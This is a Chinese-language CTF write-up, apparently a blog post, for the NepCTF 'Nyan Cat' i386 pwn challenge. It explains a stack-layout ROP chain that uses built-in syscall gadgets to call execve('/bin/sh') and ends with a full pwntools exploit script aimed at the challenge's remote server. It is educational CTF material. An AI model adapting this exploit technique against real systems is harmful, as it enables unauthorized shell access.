当前位置:网站首页>nepctf Nyan Cat 彩虹猫
nepctf Nyan Cat 彩虹猫
2022-08-11 05:29:00 【Mauricio_Davis】
考察点
- 32系统调用
- 布置栈
注意题目源文件没有告诉函数名是write啥的,这些都是我自己改的名字,开启了什么保护就自己看咯
思路概要
- 利用程序自带的系统调用使eax=0xb(execve函数系统调用为b)
- 通过对栈进行布置,使ebx->‘/bin/sh’,ecx->0,edx->0
- 最后int 80h,拿到shell
程序分析
- 程序很简单,只有几个函数,没有plt,got,通过查看字符串也没有/bin/sh。
- 查看start函数得知,write输出了一个彩虹猫图案,buf是一个指针可写,指向.rodata段的数据(该段不可写)
3. main函数很简单,read向栈里面输入32h字节的内容,write输出"Good Luck!\n",不要想当然的以为直接就是直接覆盖ebp,eip就可以了
- 通过查看汇编代码,可知程序只是用的esp定位没有使用,ebp,其次该题目的栈空间不是那么常规,可以自己从start汇编开始画出栈执行变化,我这边提供现成的了,不过建议自己去弄,且这边write完执行下面的语句除了esp其他的值都变成deadbeef了。
具体思路
首先程序已有的函数没有使用plt,got所以无法泄露libc,且没有system函数和/bin/sh地址所以无法使用system获取shell。
程序具体函数都是通过系统调用实现的那么我们也可以通过系统调用execve函数获取shell,那么需要解决eax,ebx,ecx,edx这三个寄存器,使他满足execve调用
eax需要等于0xb,通过查看gadget和函数,我们发现只要执行完这个write 那么eax就等于0xb,这个问题就解决了
ebx想要指向/bin/sh,我们首先要向程序写入/bin/sh,然后让ebx指向他,我们首先需要找到一块可以写的内存,在ida看似乎没找到可以写入/bin/sh的地方,在gdb里面我们vmmap就可以查看程序的整体段了,最后发现了一块地址可以写内存,这样我们解决了/bin/sh地址的问题,可能会有疑问为啥不写进栈里面呢,首先写进入但是不知道具体地址,除非有办法泄露,目前泄露没成功。
- 最后一个问题就是如何让ebx,ecx,edx指向我们布置的栈内容,再read,write里面发先了这段gadget,可以解决问题(从划线处开始mov eax,3不要),这样eax就不会改变,只要对应好栈布置的内容就可以顺序执行int 80h,拿到shell
- 最后一个问题就是如何在完成布栈,让write输出之后eax保持0xb且使ebx,ecx,edx,指向我们布置的栈内容,因为我们每次输入的空间是有限的每次最多0x32,又不能在同一个栈布置一次内容执行两个函数。最后我们发现如果把栈空间向下拉0x20(执行两次main函数中的sub res,10h),之后利用add rsp,0x20 ret,这个去执行前面的栈就可以顺利完成执行完write之后执行execve
注: 所谓了下拉20h,就是执行main函数两次但是不是直接call main,而是用main最开始的汇编的地址
1 .第一次read输入的时候就计算栈位置,将execve函数所需的栈布置好
2 .第二次read时,将可以把ebx,ecx,edx寄存器指向我们前面布置的参数的gadget布置进入
3 .最后一次read,布置好write输出控制eax=0xb之后,马上把栈抬高20h,再ret返回执行上面布置的gadget
exp
from pwn import *
context.update(os='linux',arch='i386',log_level='debug')
c=remote(b'nep.lemonprefect.cn',27842)
#c=process(b'./main')
binsh=0x804b200
c.recv()
py=b'a'*0x10+p32(0x080480F0)+p32(0x080481A0)+p32(0)+p32(binsh)+p32(0x8)+p32(binsh)+p32(0)*2#通过计算栈空间提前把execve函数需要的参数通过第一次写入
c.send(py)
pause()
c.send(b'/bin/sh')
#计算栈空间通过第二次输入把使得执行将ebx,ecx,edx指向我们布置的栈内容
pause()
py=b'a'*0x10+p32(0x080481A0)+p32(0)*5+p32(0x080480F5)
c.send(py)
#输出完之后,通过add rsp,0x20 ret,执行我们提前布置的gadget
pause()
py=b'a'*0x10+p32(0x08048110)+p32(0x08048190)+p32(1)+p32(0x0804B000)+p32(0xb)
c.send(py)
c.interactive()
图片八成看不清,但是不能插入文件所以师傅们还是自己画一遍理解啦,勉勉强强参考下吧
边栏推荐
- 第四范式OpenMLDB优化创新论文被国际数据库顶会VLDB录用
- jdbc接口文档参考,jdbc接口方法逻辑探究
- Day 81
- promise 改变状态的方法和promise 的then方法
- 论文解读:GAN与检测网络多任务/SOD-MTGAN: Small Object Detection via Multi-Task Generative Adversarial Network
- 贡献者任务第三期精彩来袭
- 深度学习Matlab工具箱代码注释
- [Meetup] OpenMLDBxDolphinScheduler engineering and scheduling link link characteristics, building the end-to-end MLOps workflow
- USB in NRZI to encode the data
- 虚拟机更改IP地址
猜你喜欢
openlayer中实现截图框截图的功能
虚拟机更改IP地址
The whole process of Tinker access --- configuration
127.0.0.1 已拒绝连接
USB中用NRZI来编码数据
The Summer of Open Source 2022 is coming | Welcome to sign up for the OpenMLDB community project~
Vscode远程连接服务器终端zsh+Oh-my-zsh + Powerlevel10 + Autosuggestions + Autojump + Syntax-highlighting
JS小技巧,让你编码效率杠杠的,快乐摸鱼
js learning advanced (event senior pink teacher teaching notes)
Interpretation of the paper: GAN and detection network multi-task/SOD-MTGAN: Small Object Detection via Multi-Task Generative Adversarial Network
随机推荐
JS事件循环机制
Day 77
智能风控中台设计与落地
C语言实现猜数字(附带源码,可直接运行)
Intelligent risk control China design and fall to the ground
js学习进阶BOM部分(pink老师笔记)
Dark Horse Event Project
2021年vscode终端设置为bash模式
第四范式OpenMLDB优化创新论文被国际数据库顶会VLDB录用
ARM assembly instruction ADR and LDR
JS advanced web page special effects (pink teacher notes)
使用adb命令管理应用
Interpretation of the paper: Cross-Modality Fusion Transformer for Multispectral Object Detection
Tinker的自我介绍
何凯明新作ViTDET:目标检测领域,颠覆分层backbone理念
js learning advanced (event senior pink teacher teaching notes)
The third phase of the contributor task is wonderful
Scene-driven feature calculation method OpenMLDB, efficient implementation of "calculate first use"
OpenMLDB: Consistent production-level feature computing platform online and offline
Building a data ecology for feature engineering - Embrace the open source ecology, OpenMLDB fully opens up the MLOps ecological tool chain